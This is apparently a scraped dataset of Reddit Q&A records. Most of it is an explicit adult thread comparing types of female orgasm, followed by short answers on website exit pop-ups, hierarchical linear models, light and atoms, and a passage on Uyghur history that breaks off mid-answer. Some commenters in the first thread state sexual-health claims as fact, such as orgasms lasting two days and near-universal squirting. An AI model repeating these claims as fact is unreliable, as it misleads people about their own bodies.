the areas that need stimulation, and depending on how each individual enjoys them.", "I'll throw in my personal experience. \nI'm one of those women who has no problem having an orgasm. I have multiple about 95% of the time my SO and I have sex. \n\nSo, here's the difference for me. \n\nClit based orgasms feel great but they are shorter and more shallow meaning they are brief and less of a whole body experience.  Vaginal orgasms roll through out my whole body and keep going. Vaginal orgasms are deeper, more powerful and last longer. They can also roll into each other where are clit orgasms are independent of each other always. There's build up, climax, and cool down with clit orgasms. With vaginal, it is very possible to not cool down, at least for me.\n\nNo experience with anal, so, I can't speak to that. \n\nHope that made any sense and sorry for any typos, I'm on my phone. ", "Difference? \n\nFor the majority of women, they are all clitoral. Speaking from personal experience, what is going on in the vagina or anus/rectum can make a difference with the intensity and duration of orgasm, but without clitoral stimulation of *some* kind, there is no orgasm. \n\nLots 'o anal, love it. Throw in the vaginal action at the same time, and baby you got an ORGASM going. \n\nETA- For Christ's sweet fucking sake. Do we really need men who think they know what the fuck they are talking about downvoting personal experience AND poll evidence? For all bundles of sticks who have \"heard\", who \"think\", and who \"talk to women\", take a look at this:\n\n_URL_0_\n\n_URL_1_\n\n_URL_2_\n\nOnly a couple...", "It is very much subjective. Its going to depend on the person. Say, a woman could have the most mind blowing anal orgasm of her life but absolutely hates anal because she tenses up, thus making her not enjoy it. But then another woman could love anal but only orgasm through clitoral stimulus. Purely depends on the person.", "Can't speak to anal, but I can tell you that solely vaginal stimulation won't get me off. G-spot and clit produces a seemingly neverending orgasm similar to /u/everysingletimegirl 's experience that is in fact deeper and satisfying in a similar fashion. I also have the squirting thing, which I don't really classify as an orgasm, but does have a feeling of release. And I have ones that are combinations that have varying degrees of intensity. ", "So the nerves in the vagina are random. Basically it's like someone took a hand full of a bundle of nerves and just plopped them down there. This means every woman responds differently to stimulation. Some female bodied people can only have clitoral orgasms, some can only have vaginal, some only anal, or a combination of any two or all three. Because of this, each person's orgasms vary in intensity based on what is stimulated and what their personal nerve network happens to be. That's why some females can only orgasm with anal penetration and others wince at the thought. ", "What about breasts orgasms? What are they like? ", "Hey, don't mean to hijack a thread, but could anyone shed some light on this?\n\nAnytime my girlfriend has an anal orgasm, she feels faint. Several times she's gotten weak in the knees, and she's even fallen down a few times. She describes it as intense tiredness, and that there's never any pain. Afterwards she usually takes a nap, which is strange for her, as she's a very active person. \n\nShe and I have discussed the possibility of mentioning this to a doctor, but we live in a bigoted small town, so we can't really talk about it with anyone. In the meantime we've been avoiding anal sex.\n\nAppreciate any insight! \n\nEdit: Wow, thanks for the responses everyone! I fucking love Reddit. ", "girl explains it with a clay model- highly entertaining and educational:\n\n_URL_0_", "Okay, here goes nothing... if I have a clitoral orgasm, I get this weird, tingly feeling like I'm about to sneeze. It's nice, but super short and not super satisfying. If I have a vaginal orgasm, there are two categories. One is similar to the clitoral one, but 'warmer' and more localised. The second is the soaking the sheets, porn-star style one - but the catch? I have to rub my clit at the same time, and have to be super aroused. An anal orgasm is basically the same aforementioned squirting orgasm, because I always rub my clit during that and anal still hits your g spot. But anal orgasms are almost always more satisfying than the other two, due to the intimacy factor mentioned earlier. Intensity varies by partner (due to intimacy, IME), arousal level, and other factors as well.", "On the topic of clitoral vs. oral orgasms, they are both caused by the clitoris, the structure of which is almost entirely \"inside\".  The hooded button is just the tip of the iceberg...[it's actually rather large](_URL_0_)\n\n\nThat said, anecdotal experience is that the sensitivity of the inner bits increases with age...oh my goodness! ", "Is there a way to get some science based explanation rather than everyone's personal anecdotes? I had always been curious about this topic but often there seems to be conflicting opinions.", "Let's start out by saying that all an orgasm is the sudden release of built up pressure in the muscles that feels pretty fuckin awesome.\n\nClitoral orgasms are localized to the lower part of the body from stimulation of the clitorus (shocker, right?). They are the easiest to achieve. Don't let me sell it short though, it's still pretty fuckin amazing. \n\nVaginal orgasms are achieved through stimulation of the g spot. Quick pointer, that's located on the front vaginal wall. Think the same side that her belly button is on it. They are a full body orgasm and are considered more difficult to achieve, but by far the most powerful. \n\nAnal orgasms in women are... a mystery. Not a whole lot of real research has been done on it. Not all women can have them.\n\nAnal orgasms in men stem from the stimulation of the prostate, conveniently tucked away in the anus. That's pretty much the male equivalent of a g spot... arguably. As a woman, I'm unsure how this affects the body in terms of where the pleasure is localized. But it seems to work just fine for you gay and bisexual gentleman ;) and of course those of you with sexual interests like pegging and straight anal play. \n\nHope this helps any ladies and gentleman who were a little lost!", "So many answers and so varied in specifics...what a surprise! \n\nThe brain is the only sex organ that really matters. It's what gets your freak going, man or woman. Get comfortable with what gets you going, what pushes your buttons, different humans have WAY different responses to different stimulations. And if with a partner, who they are with. ", "Trying to imagine the female orgasm is frustrating me and making my taint tingle.", "Take everything here with a grain of salt. [The clitoris is much more extensive than what we see at the surface, surrounding parts of the vagina and anus](_URL_0_), and as such, the difference between these allegedly different orgasms have more to do with other factors (stimulation of additional sensitive areas, context, relaxation) rather than necessarily being from completely different sources.\n\nEdit: thanks for popping my gold cherry! How fitting that it's a comment about the clitoris.\n\nEdit 2: just want to add some additional factors that affect these \"different types\" of orgasm: direct (touching the clitoral head) vs indirect stimulation (through the vagina or anus, or clitoral touching through the hood or through clothes), excitement from a \"taboo\" (anal), excitement from being penetrated, excitement from not being penetrated, plus more general factors (not inherent to clitoral vs vaginal vs anal stimulation): amount and type of foreplay, lube, time of month (hormones greatly affect sensuality and lubrication), health, mood...\n\nEdit 3: food for thought: some scientists believe that the G spot is basically just part of the internal clitoris and/or part of the skene's gland aka the female prostate.", "For me, clitoral stimulation is less intense but with a clitoral orgasm there is a very distinctive feeling of climax followed by rapid loss of arousal. When I have a clitoral orgasm I definitely feel \"done.\" Clitoral orgasms are harder to achieve with a partner because my clitoris is quite fussy and sensitive; it feels uncomfortable to touch it directly (I can only tolerate having it stimulated through the clitoral hood/prepuce) and certain types of clitoral stimulation feel totally uncomfortable and kill my arousal. However, when I'm just taking care of things by myself, I'm most likely to get myself off clitorally, mostly out of habit but also because I want that feeling of being \"done.\"\n\nVaginal orgasms are less distinctive; I might be weird but a lot of the time it's hard for me to tell if I've had an orgasm from being penetrated at all, because vaginal stimulation feels so good for me. After a certain point, I get really really excited and everything feels amazing, so it's hard for me to pinpoint where those peaks of pleasure were. (Unless I squirt, of course.) With vaginal penetration, I can experience peaks of pleasure frequently and with no refractory periods (multiple orgasms I guess) but afterwards had partners ask me how many times I came and honestly not been able to give them an answer.\n\nI've never experienced an anal orgasm, although I find anal stimulation really intense at times.", "If you manage to make all three happen at the same time, does it unlock some sort of button for a super orgasm like on nuclear submarines? ", "I agree with a lot of the descriptions posted here; clitoral are much more centralized (which certainly doesn't mean less intense or not \"full body\", I often have eyes-roll-back-in-my-head-loose-control-of-my-body orgasms from clitoral stimulation ((shower heads, ladies)) whereas vaginal are more spread out? I liked how /u//thefeministfatale described it as  > warmer \n\nWhat seems to be missing here that I think helps shed light on your question is the fact that vaginal orgasms *are* clitoral orgasms, technically, which accounts for the difference in sensation.\n\n_URL_0_\n\n^See this crazy thing? Alll the dark pink stuff is clitoris. So what's happening when that sweet sweet cock is thrusting against you is similar to the tapping motion that often gets women to cum in their clitoris (that is, the head of the clit that's showing) with a finger or tongue, only on a larger scale.\n\nI'm with the rest though, no bumgasms for me yet, can't help you on that front. Though I have come close with my tits, so:\nTLDR- Lady parts are even weirder than you think and we can basically cum wherever our minds let us, who run the world.", "One thing that surprised me is the 3D model of the clitoris. It seemed to clear a lot of things up. _URL_0_", "The clitoral orgasm, I find, to be more similar to a delightful episode of Murder She Wrote: sassy and fun. However, when I get a nice, full vaginal orgasm, it's like I'm watching every episode of Perry Mason...simultaneously...with Perry inside of me.", "Eh never had much experience with 2 of those up there. I'm in my 20s and still haven't found that one person who can give me a vaginal orgasm. Clitoral orgasms? Easy. And yes, you can have multiple ones of those in succession. I might try anal but it's not really a turn on for me so I would likely not have an anal orgasm. The clitoral ones those are the easiest and just like everysingletimegirl said, they are pretty brief but mine are pretty intense. I've helped myself to that a couple of times and there have been times where I went completely deaf for almost 30 minutes and almost completely passed out from sheer pleasure. I'm not a whole lot of help but I've experienced my fair share of \"things\".", "Clitoral orgasms are easier and take far less time to achieve, where as a vaginal orgasm is a bit lengthier and involves more work.\n\nClitoral orgasms are short lived and while not every woman has a refractory period many do after this type of orgasm. They aren't likely to cause back to back orgasms.\n\nVaginal orgasms are deep and full body, like brain shuts down, twitching, can't keep quiet if you tried. They're much more intense and have the added benefit of happening back to back. I had an ex that mastered this trick and I nearly passed out on a few occasions. ", "These are my thoughts on this topic, and I suspect they may not be very popular, but I want to share anyway.\n\nThis whole conversation of types of female orgasms can feel really confusing and pointless to me, because it's so subjective! Sometimes I think the confusion is cause by semantics. One woman might say she had an anal orgasm because something was inside her ass when it happened, even though she also had a vibe on her clit or on her vaginal opening. When I have an orgasm in my sleep and there is NO stimulation, then what is that called? 5 women might give that 5 different names. Does an orgasm with only clitoral stimulation feel different than one with a cock deep inside me? Well yes, but like...different enough for me to give them different names? Not personally, no. Can't it just be an orgasm? How can I know what stimulation really \"caused\" the orgasm? Isn't it always the brain anyway?\n\nWomen especially tend to make up their own definition of types of orgasms based on their personal experiences, and no one can prove them wrong. And, is there really a wrong? For all I know, some sensations I feel that I personally do not call an orgasm could be what another woman considers an orgasm. Know what I mean?\n\nDo you think this conversation is truly useful? Doesn't it make some women feel broken? What if it's just a way for us to massage our egos, because we feel better about ourselves saying we can have this type or that type of orgasm? Thoughts?", "Dude here. Can't speak for the other types, but, while experimenting around in the nineties, I had an anal (prostate) orgasm. It blew away anything I've ever felt in my life. It was like electricity shooting through my entire body.... It took a long time to achieve, but goddamn. (Two guys working me for about two hours).\n\nI'm pretty much only with women now, but of the ones who do anal and get off on it, they pretty much describe a similar experience.\n\nOh, and if I'm not mistaken, you forgot to ask about nipple orgasms, which are possible as well.\n", "I can usually achieve multiple orgasms fairly easily, assuming my partner has a certain set of skills. Personally, clit orgasms are usually more powerful for me than vaginal orgasms. They bring on the rolling through the body, all loss of muscle control feeling, while vaginal is usually quicker and less intense. Generally speaking though, I can have multiple vaginal orgasms in a row, but only one true clitoral orgasm at time. I say \"true\" clit orgasm because I may have lots of tiny clit \"orgasms\" leading up to the giant one. I don't even really know if they could be classified as orgasms or just jolts of pleasure. But sometimes I wonder if even many of my vaginal orgasms are just those jolts of pleasure and not actual orgasms.\n\nI have done anal a few times, but I don't remember ever having an orgasm. Probably because I was too paranoid, or in pain, to be able to relax enough. \n\nNow, the REAL whammy of an orgasm is a combination of clitoral and vaginal stimulation. My dear Jesus, those are good, and if I have one, I'm done, my body is just a sack of jelly and bones for a few minutes. \n\n", "Most ladies have already explained this but i'll throw in my two cents any way.\n\nPersonally I find clitoral orgasms short and intense, I get a tingling that runs right up my legs and releases in my clit, it's what I do most times when I masturbate.\n\nVaginal orgasms are less intense, sort of like the difference between sharp and blunt pain, only not pain at all. For me they don't necessarily last longer, but it's easier to have one immediately after another indefinitely. Recently my SO made me orgasm six times in a very short period of time and I turned into a wacky waving inflatable arm flailing tube man and squirted all over the bed. \n\nAnal, is very similar to vaginal, as it comes from the same area, the mythical g-spot. Though I do find them a bit duller than through vaginal as there isn't that direct contact, and I never squirt due to an anal orgasm.\n\n\nOther orgasms I have experienced, through my nipples it's good, you know that feeling you get when you tweak your nipple and it's nice? That, but more. I get the same experience from having my toes sucked, though it kinda weirds me out that they are so sensitive to it.\n\nAlso orgasms in my sleep. I'm not really sure how to explain this, it only recently started happening to me. It's a bit like a vaginal orgasm but more intense like a clitoral one, it's kind of strange and brilliant. I nearly had one last night but got too turned on and it woke me up, damn it!\n\nEdit: words.", "If anyone cares about the actual science about it, [here it is.](_URL_0_) The clitoris extends up to 4 1/2 inches into the vagina. Yes...\n\nThere aren't any pressure sensitive nerves at the immediate opening of the vagina, but there are further inside. This is what we previously called \"the g-spot\". Now we know it's just part of the clitoris that is on the inside, like the roots of a tree poking out through a cavern wall. (cant believe I just typed that). That's why keggels are so recommended: they help women stimulate the portion of the clitoris *deeper inside* the vagina that has  pressure-sensitive nerve endings.\n\nSo...it's still a clitoral orgasm even if it feels differently. \n\nSource: went to a (variety show?) by a sex therapist with an awesome power point presentation complete with diagrams and citations to peer reviewed studies (and she danced and sang in between acts). The article I linked is good too.", "For me, the clitoral is like an electric shock. As someone said, it's build up, climax, cooldown. Vaginally it's like a pulsating pleasure for a good bit, and you feel good all over. It feels even more amazing if you keep stimulating (vaginally), whereas I have to move the stimulation away once it starts because the feeling becomes too much. \n\nEdit: Also, I recently discovered-- thanks to my boyfriend and his * ahem* large appendage--I can have cervical orgasms. I've never had my cervix touched before because none of my boyfriends were quite so.. lengthy. It's like an out-of-my-mind kind of pleasure whenever it's touched. I don't know if it's it's own category or if it just falls under vaginal but it definitely is a whole other level of sensation. ", "Here are the nerves and their corresponding genital areas\n1- hypogastric nerve - transmits from the uterus and the cervix in women and from the prostate in men\n2- pelvic nerve - transmits from the vagina and cervix in women and from the rectum in both sexes\n3- pudendal nerve - transmits from the clitoris in women and from the scrotum and penis in men\n4- vagus nerve - transmits from the cervix, uterus and vagina\nThe role of the vagus nerve in orgasms is a new discovery and there's still much that's unknown about it; until recently, researchers didn't know that it passed through the pelvic region at all.", "I can't have a vaginal orgasm :c Either I have a very elusive g-spot that wishes to remain unused, or my vag is out-of-order. \n\nHowever, I guess I make up for it with clitoral orgasms. I can achieve them regardless of how turned on I am, alone or with SO, keep myself on edge for however long to make it more intense, or just do it in rapid succession and keep going and going (up into double digits if I choose, but the intensity will gradually diminish, usually from exhaustion). If I stay on edge for a bit before orgasming, sometimes its so intense my body locks up and I see stars, but the quick ones usually just involve a brief wave of warmth and a little trembling/shuddering.\n\nSo, I guess having that kinda control is great, but I'm really jealous of women who can achieve it vaginally. I just wanna know how it feels, just once, goddammit. As for anal, I've never achieved that either, I assume it might be for similar reasons I can't do it vaginally?\n\nAnyway, I know I couldn't answer half the question due to my inabilities, but I guess I just answered to highlight the differences between women. Thanks for making this thread, I enjoyed reading through the comments. Fascinating shit, I tell ye.", "A more complete list of feminine orgasms.    \n1. **Clitoral**. Often short lived, high intensity, but lasts only a few seconds. Big build up of tension resulting in a short release. Probably the most boring of all the orgasms at a womans disposal. Overstimulation of the clitoris will actually dampen (contrary to what most women will think) experience of the other deeper orgasms. Sadly, many women only come on their clit and have never experienced the orgasms listed below. The male version of this orgams is ejaculating.    \n2. **Vaginal**. Deeper and longer lasting than clitoral organism. u/everysingletimegirl summed it up nicely. Often roll throughout the body and can last much longer, in the order of minutes.\nIt is possible to 'orgasm surf' vaginal orgasms, also known as experiencing 'valley orgasms'. Basically, stay right at the edge of the point of no return (of cumming). With practice, the woman can relax through the desire to cum and experience long lasting waves of vaginal orgasms not resulting in actual contractions of the vagina. This results in extreme waves of pleasure in the vagina and rest of body, which ebb and flow. Basically the woman will continue to orgasm as long as the guy can fuck her.    \n3. **G-spot orgasm**. Also knows as squirting. Basically, with the right practice and technique 99% of woman can have squirting orgasms. These are often more pleasurable and longer lasting than clitoral orgasms. The male version is a prostate orgasm.     \n4. **Anal**. Similar to vaginal orgasms but in the ass. Also a much deeper and profound intensity and horniness can come from this. Can also have valley anal orgasms but surfing near the point of no return. Guys can have this orgasm.    \n5. **Womb / Cervical Orgasms**. This is a much less known one but from what I have seen, is the holy grail of orgasms. The cervix is basically deep inside the vagina, against the back wall slightly pointing down. It basically feels much harder than the surrounding vaginal wall, and feels a little like a nose. Almost all women have alot of pain here initially. Again with the right practice and technique it is possible to remove this pain. Once the pain is gone, the cervix is a spot of unimaginable pleasure for the woman. If a woman is fucked on her cervix hard and long enough and her cervix is totally relaxed, she can go into a womb / cervical orgasm. This orgasm is like a deep pulsating, vibrating orgasm of aliveness which can last for more than 20 minutes. The whole womb will vibrate with pleasure and horniness. This is such a deep orgasm that woman often report that total melting and deep spiritual experiences with this orgasm. The can experience constant orgasm for almost 2 days. Basically with each step taken, the woman can feel her cervix and womb vibrating. Highly recommened this orgasm for all women. This is similar to the orgasmic birth idea - if going through orgasmic birth it is basically a womb/cervical orgasm that the woman is experiencing.    \n6. **Full body orgasm**. When the whole body experiences deep pleasure of orgasm instead of being localized in single spot. Often characterized by the body moving in totally uncontrollable fashion, sometimes in mudras. Can last from a few minutes to more than 30 minutes. Also highly recommended. Guys can have this one too.  \n\nBasically, all the orgasms mix and match, so it is possible to have combinations of them at the same time. The clitoral orgasm is really very superficial compared to all the other deeper orgasms that can be had by woman. I always recommend to stop the clitoral orgasms and instead practice the other ones.\n\nGuys got a little bit the short end of the stick when it comes this. Main practice guys can do is to practice not cumming and staying close to the point of no return. This will allow orgasm surfing, deeply pleasurable in itself, and also will give the strength and continence to be able to fuck the woman into the other orgasms. Most men just cum too quickly.\n\n\nI am a guy. I have had the male version of the different orgasms. What I wrote regarding female orgasms I have learned through different teachings and personal experience. I am relating what I have seen and been told by women experiencing these orgasms.\n\n", "My girlfriend hasnt had a vaginal orgasm. Says she never has.  But clitoral all the time. 99% success rate.  When I put a finger or two in her but and touch the right areas inside and lick her clit. Her orgasm makes her convulse.  Hard twitches.  Her moans get deeper and she absolutely loves it.  Makes me feel like I accomplished something. ", "Is there any science in here or is everything anecdotal? ", "Gay guy here who will take a stab at describing anal orgasms for men - not sure if this question was supposed to only about females but anyway. Also I'm not really going into medical facts here, just describing my own experiences and those I've heard other guys describe.\n\nYou have your prostate, which can be stimulated directly for pleasure. However this is not the be-all and end-all of anal pleasure for men. The sphincter itself has many nerve endings, and you get subtly different feelings from the ones inside and the ones on your anus itself. (Maybe it's really the prostate that makes the rest of the sphincter feel good, I don't know, but my point is you don't have to have someone physically poking just your prostate in order to have a good time back there.) These almost feel like they resonate with stimulation you're getting on your penis during sex. Some guys don't play with their dick while they get fucked as they actually cum too fast because the combined stimulation is too much. Others find that without dick stimulation the combined pleasure and subtle discomfort of being penetrated isn't something they enjoy overall (probably something women can sympathise with when it comes to vaginal penetration).\n\nWhen you orgasm (be it from just anal stimulation which is kinda high level, or a combination of that and your 'usual' dick stimulation) you'll find your ass clenches tight around the finger, dick or toy that's in there. That pressure against the object inside feel incredible - it literally fees like the thing inside is part of you and is what's cumming, like how your own dick feels when you cum. To put it another way, when a guy is fucked by another guy and he cums, he feels like both dicks are his and are the source of his pleasure. If you were to close your eyes you can still feel a kind of 'shape' for the sensations from your body, and obviously your dick feels like a shaft with a head that stimulation is focused on. Well, the shaft created by the object in your butt that's stimulating the sphincter feels like it has the same 'outline'.\n\nAlso the above applies to masturbation as well as sex. Find the right way to do it for yourself and you'll find that jerking it without also getting a finger or toy in your ass is somewhat lacking my comparison.\n\nTo digress slightly, you'll notice that none of the above has any kind of specificity to gay men in terms of their overall sexuality. Your butt can give you physical pleasure if you let it - end of story. Whether you let that be your own fingers or your partner's, a sex toy, or (and this is the part where many people get lost) get fucked by another guy despite your not being gay, you can have a mindblowing experience if you open your mind before it's, er, blown. There's a reason the term MSM (men who have sex with men) exists and is separate from gay, bi, straight and what have you. Having sex with a man no more makes you gay than an attempt to have sex with a woman would make me straight (or even bi).\n\nTL;DR if you stimulate it right, your butthole is a second penis you were never using until now and you'll kick yourself for not getting in on that pleasure experience sooner.", "Something that's not being covered in the comments is that for women, a lot of the orgasms are mental as well.  I agree that clitoral orgasms are short acting and intense, but they're usually limited to just that area while vaginal consumes the whole body.  The enjoyment I get from anal largely depends on the position of the thrusting.  Sometimes it hurts doggie style cause I feel like he's pounding away at my kidneys, but if he aims lower towards my vagina, it can be as good as a vaginal orgasm.\n\nBut if I'm not *really* attracted to my partner, I'm lucky if I orgasm at all.  My husband is the hottest guy in the world and I rarely need foreplay because I get overly excited at the mere prospect of sex with him.  I've had more than my fair share of partners and with most of them, the sex was tedious at best.  Felt like a whole lot of rubbing for just a little warmth.", "Most people are unaware of another form of orgasm in women, attainable via stimulation of the cervix. Stimulating the cervix sends signals to the solitary nucleus in the brain via the vagus nerve. This has been cleverly illustrated in women with complete spinal cord injury. In these women, no stimulus of the clitoris or any other part of the body that's normally mediated through the spinal cord reach the brain because the spinal cord has been severed. No signals to the brain from the genitals = no orgasms. However, the cervix is connected to the brain via the vagus nerve, which runs *outside of the spinal cord*, thus enabling many of these women to have orgasms by cervix stimulation.\n\nPaper here:\n\n_URL_0_", "Do you really explain the difference to a 5 year old, though?\n", "Have experience with all 3, plus nipple orgasms regularly\n\nClitoral: sensitive, very intense, sudden hard orgasms. They fade quickly though, and feel more clit centralized rather than whole body. After cumming, very sensitive and I need a few seconds in between additional clitoral simulation.\n\nG-Spot: longer build up, hard, all encompassing, full body rolling orgasm. These can piggy back on each other for me, personally. You feel every cell in your body release when you cum. If squirting is an option for you, then the intensity is even greater accompanied by a tingling pressure and a very hard release (also really fucking messy...)\n\nAnal: slower build up, orgasms for me have between some of the most powerful I've ever experienced but conditions have to be right to achieve it. Usually I need very light clitoral pressure to take my mind off the background pain of anal. However, these are hard, knee quaking, jelly legged orgasms. Once done cumming, though I need to stop because it's too sensitive/intense.\n\nNipple: from a combination of sucking, biting, teasing, very slow build up, not intense until the last minute, tingly, prickly sensations in the nipples and whole pussy area (mostly internal sensation, kind of G-spot like, but not as intense) orgasms are tingly, fun, and ticklish, with a full vaginal contraction like with G-spot ones. These I can have rapid fire succession because although fun, the hyper sensitivity doesn't sink in at all. No pussy play required for nipple orgasms\n\nEdit: typos", "What about ankle orgasms?", "Last time I tried to explain the difference between clitoral and anal orgasms to a five year old I got in biiiig trouble and am now on a list. Sorry can't help ", "Sometimes when mommies and daddies love each other very very much....... "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.psychologytoday.com/blog/all-about-sex/200903/the-most-important-sexual-statistic", "http://books.google.com/books?id=n0MvlwQVU8kC&amp;pg=PA261&amp;lpg=PA261&amp;dq=majority+clitoral+orgasm&amp;source=bl&amp;ots=yPsVAJh6wC&amp;sig=MCs2QFhWY-7Jg52UNzw-YW3wkpc&amp;hl=en&amp;sa=X&amp;ei=etsHVJ-kCI_oiwL2ooCQBw&amp;ved=0CFkQ6AEwCA#v=onepage&amp;q=majority%20clitoral%20orgasm&amp;f=false", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3894744/"], [], [], [], [], [], ["https://www.youtube.com/watch?v=Yz68K2qAlkE"], [], ["http://www.huffingtonpost.com/2013/08/28/cliteracy_n_3823983.html"], [], [], [], [], ["http://blog.museumofsex.com/the-internal-clitoris/"], [], [], ["http://www.drjack.co.uk/wp-content/uploads/2012/09/Anatomy_of_the_clitoris1.jpg"], ["http://ubcpsych350.wordpress.com/2012/01/26/the-clitoris-in-3d/"], [], [], [], [], [], [], [], ["http://www.clitorian.com/AnatomyPage.html"], [], [], [], [], [], [], [], [], ["http://www.ncbi.nlm.nih.gov/pubmed/15451368"], [], [], [], [], []]}
{"q_id": "30npgz", "title": "how do some websites know when my pointer is about to close the website and pop up an ad?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30npgz/eli5_how_do_some_websites_know_when_my_pointer_is/", "answers": {"a_id": ["cpu2tf0"], "score": [2], "text": ["Websites use a combination of HTML (Hypertext Markup Language), CSS (Cascading Style Sheets) and JavaScript. The three of these tools all have individual functions in the creation and running of websites. In this specific instance, Javascript and CSS will work together to check if the mouse is hovered over/on a specific HTML element, and then fire off a pop-up which has been told to look how it does by the CSS.\n\n**TL;DR:** Code tracks website activity, fires off instructions when a case is met."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "msmbx", "title": "what are hierarchical linear models?", "selftext": "In the context of this hopefully helpful link: _URL_0_\n\nThanks for any info you can give.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/msmbx/eli5_what_are_hierarchical_linear_models/", "answers": {"a_id": ["c33ljt7", "c33ljt7"], "score": [2, 2], "text": ["As I understand it (but take this with a grain of salt, I've never used them and am just taking a stab at this because this post has been up 5 hours with 0 replies so far):\n\nWith regression, you track how x increases with y. So for example, how attendance of new customers at a theme park increases as good word of mouth (reputation) increases.\n\nYou can also do a multiple regression where you track how x increases due to y *and* w, and z. So say how theme park attendance rises along with good word of mouth, improvements on rides, and increased customer service (by say hiring more staff and enacting new policies).\n\nwith a hierarchal linear model, as I understand it you would track how customer service and ride repair affected word of mouth *and then* look at how word of mouth affected attendance.\n\nthe idea is the ride repairs don't bring new customers in and of themselves, but they improve word of mouth by existing customers, which increases new visitors. So the effects are indirect.\n\nimagine a tree diagram with attendance at the top. Underneath that is word of mouth, and then underneath that umbrella would be the ride repair etc. That's the hierarchal structure.", "As I understand it (but take this with a grain of salt, I've never used them and am just taking a stab at this because this post has been up 5 hours with 0 replies so far):\n\nWith regression, you track how x increases with y. So for example, how attendance of new customers at a theme park increases as good word of mouth (reputation) increases.\n\nYou can also do a multiple regression where you track how x increases due to y *and* w, and z. So say how theme park attendance rises along with good word of mouth, improvements on rides, and increased customer service (by say hiring more staff and enacting new policies).\n\nwith a hierarchal linear model, as I understand it you would track how customer service and ride repair affected word of mouth *and then* look at how word of mouth affected attendance.\n\nthe idea is the ride repairs don't bring new customers in and of themselves, but they improve word of mouth by existing customers, which increases new visitors. So the effects are indirect.\n\nimagine a tree diagram with attendance at the top. Underneath that is word of mouth, and then underneath that umbrella would be the ride repair etc. That's the hierarchal structure."]}, "title_urls": [], "selftext_urls": ["http://nces.ed.gov/nationsreportcard/pubs/studies/2006461.asp"], "answers_urls": [[], []]}
{"q_id": "25e0z6", "title": "Given that the atoms in my body don't actually touch each other. How does light bounce off? What stops it passing through the gaps?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/25e0z6/given_that_the_atoms_in_my_body_dont_actually/", "answers": {"a_id": ["chgbj68", "chgf3sk", "chgq8xm"], "score": [53, 21, 3], "text": ["First, your premise is not really correct. In covalently or H-bond bound compounds, you cannot really talk about individual atoms anymore as neighboring atoms share electrons. \n\nSecond, and more importantly, light is not arbitrarily small. Typically,  we can expect a wave packet to be at least as large as its wavelength, and in many cases much larger. Visible light, for example, has a wavelength of approximately 300-800 nm, which is much larger than a water molecule (about 0.1 nm), giving ample opportunity for interaction.\n\nWhy does a wave [diffract](_URL_0_) rather than going through the \"open space\"? [Huygens' principle](_URL_1_) states that each point of the wave front can be treated as the source of a new (spherical) wave. As for why that principle holds (one could also say, why waves propagate and display interference), I honestly cannot provide a satisfying answer. ", "You're also more than one atom thick. While a photon may somehow get through the first layer of atoms, it has countless more cells to get past. Similarly, while you may be able to shoot a bullet through a single hedgerow of trees, you would have a very difficult time firing a bullet through the Amazon rainforest without hitting a tree (discounting the bullet falling to the ground eventually from gravity)", "First post here, and I am simplifying stuff, so I hope that won't be too bad:\n\nThe light interacts with the charged particles in a material (since it is an oscillation in the electromagnetic field). These particles can occupy different energy levels and by interacting with light they can pass to a different level.\n\nFor instance, an electron can absorb a photon by passing to an higher-energy level. Later, the same electron will go back to its previous low-energy state, giving back the energy difference to their environment. The same kind of mechanism can occur for other phenomena, such as vibration of atoms inside a molecule.\n\nNote that the electrons are situated in a cloud around the atomic nuclei (and are usually quite \"de-localized\"). It is likely that a photon will encounter some electron (and interact with it) even through a relatively thin layer of material.\n\nNevertheless it is possible that the light of a particular colour (wavelength) can't interact with some material: this happens when the energy a photon can give is not enough to create an energy level transition. In this case, the photons travel through the material cloud undisturbed. A common example of this behaviour is water (which is transparent for visible light, but not to microwaves and far-infrared).\n\nA category of materials that has a somewhat opposite behaviour are metals: their energy levels are continuous, so they can adsorb light in a very big wavelength spectrum. This is due to the fact that electrons can move freely inside them and can thus react promptly to the light (which can be seen as an oscillation of the electromagnetic field).\n\nTL;DR: Light doesn't pass through the gaps because electrons are spread around the molecules. Nevertheless, light can pass through some material if their energy level difference is too large compared to the photon energy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.gearthblog.com/blog/archives/2012/01/wave_mechanics_in_google_earth.html", "http://en.wikipedia.org/wiki/Huygens%E2%80%93Fresnel_principle"], [], []]}
{"q_id": "bbg42r", "title": "Did Chinese dynasties also have beef with the Uyghurs like the current goverment? And why the Uyghurs mostly got targetted, but not the Huis?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bbg42r/did_chinese_dynasties_also_have_beef_with_the/", "answers": {"a_id": ["ekjwlsv"], "score": [14], "text": ["In a very pedantic sense, no, for the simple reason that 'Uyghur' in its modern sense was a product of the early 20th century,^1 as the original Uyghur identity formed in the 8th century was largely subsumed by the Mongols, with the exception of their use of a Turkic rather than Mongolic language.^2 However, it is still a viable shorthand for the peoples who inhabited what is now Xinjiang from the end of the 8th century onwards, so for the purposes of this broad-sweep answer it will suffice. \n\nThe first substantial contact with the Turkic-speaking peoples now known as the Uyghurs came during the Tang Dynasty (618-907), though the earliest reference to them comes from the sixth century, where it is said that the 'high cart' people of Mongolia split into two tribal groups, the Ten Uyghur and the Nine Oghuz, the latter of whom migrated southwest to the foothills of the Tianshan Mountains, which run east-west through the middle of Xinjiang. Until 744 they were subjects of the eastern G\u00f6kt\u00fcrk Khaganate, but with support from the Tang formed a confederation with two other tribes and overthrew the G\u00f6kt\u00fcrks, before turning on their allies and forming an Uyhgur-led steppe empire. The Uyghurs at this time were generally on good terms with the Tang, and in 758 the Tang emperor Suzong married one of his daughters to the Uyghur khagan in thanks for providing troops to suppress the revolt of Roxshan (commonly Sinicised as An Lushan). In fighting An Lushan, the Tang had withdrawn their military colonies from the Tarim Basin, leaving the Tocharian oasis cities open for exploitation by both the Uyghurs and the Tibetans. In conjunction with this, unfavourable trade relations with the Uyghurs led the Tang to turn on their old allies. A combination of wars with the Tibetans, pressure from the Tang and in large part internal dissension, sparked in part by the khagan B\u00f6g\u00fc in 762 to Manichaeism, caused the disintegration of the Uyghur steppe empire 